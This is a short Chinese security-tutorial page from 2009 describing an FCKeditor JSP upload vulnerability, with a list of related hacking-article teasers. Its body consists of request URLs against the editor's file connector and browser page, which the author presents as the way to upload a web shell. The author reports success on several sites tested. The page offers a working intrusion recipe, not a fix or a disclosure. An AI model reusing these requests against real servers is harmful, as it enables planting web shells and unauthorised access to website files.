脚本之家 服务器常用软件
快捷导航
您的位置：主页 > 网络安全 > 安全教程 >

FCKeditor JSP版漏洞

  发布时间：2009-04-20 15:04:37   作者：佚名   我要评论
FCKeditor的JSP版漏洞 http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/conne
FCKeditor的JSP版漏洞

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F

http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
上传shell的地址:
http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.

相关文章

  • 我们不知道的秘密? 黑客可以使用硬件破解GSM A5加密算法

    以前我们都是在使用基于早期信号标准的GSM手机，这也是当前应用最为广泛的移动电话标准，但是大家可能还不知道，现在专业的黑客可以只需要使用三张NVIDIA GeForce GTX690显
    2016-11-06

  • 系统漏洞溢出攻击实例(图)

    我们来看一下以前比较精典的一个溢出实例ms04011溢出： Microsoft Windows XP [版本 5.1.2600] (C) 版权所有 1985-2001 Microsoft Corp. C:windowssystem32cd C
    2008-10-08

  • SQL通用防注入系统asp版漏洞

    今晚群里朋友叫看个站，有sql防注入，绕不过，但是有发现记录wrong的文件sqlin.asp。
    2012-05-15

  • 关于简单的php源代码泄露漏洞的发掘

    我们知道在asp中出现得最多的还是sql注入，不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义，所以即使有很多时候存在sql注入也无法利用。但是php强大的文件
    2008-10-08

  • 解析暴库漏洞原理及规律

    我看暴库漏洞原理及规律 SQL注入流行很久了，我们找漏洞注入目的无非是想得到数据库内的东西，比如用户名密码等，更进一步的MSSQL数据库还可以借此获得权限。基于Access
    2008-10-08

  • 黑客域名劫持攻击的基本步骤

    近期发现adobe.com,internet.com,nike.com,等等著名站点都分分遭受到攻击，但攻击者所使用的技术并不是以往所使用的入侵WEB服务器，更改主页的惯用手法，攻击者使用的是一
    2008-10-08

  • SOCKCAP代理的设置方法(图)

    １.安装完软件，打开后： ２.按照图中点选正确的设置，填写上你自己找到的代理IP地址，端口，或者帐号和密码： ３.（这一步看情况定：有的代理不要
    2008-10-08

  • pstools使用方法

    　　软件名称：Pstools 　　运行平台：Windows 　　软件授权：免费软件 　　软件大小：550KB 　　下面我用一个实例来讲解这个命令的使用。假设我要对192.168.0.8计算机进行
    2009-07-05

  • WordPress自动更新漏洞：超1/4网站可被黑客一举击溃

    最近大部分的WordPress网站都受到影响，主要的原因就是WordPress的自动更新功能造成的，因此全球超1/4的网站被黑
    2016-11-29

最新评论

关注微信公众号

扫一扫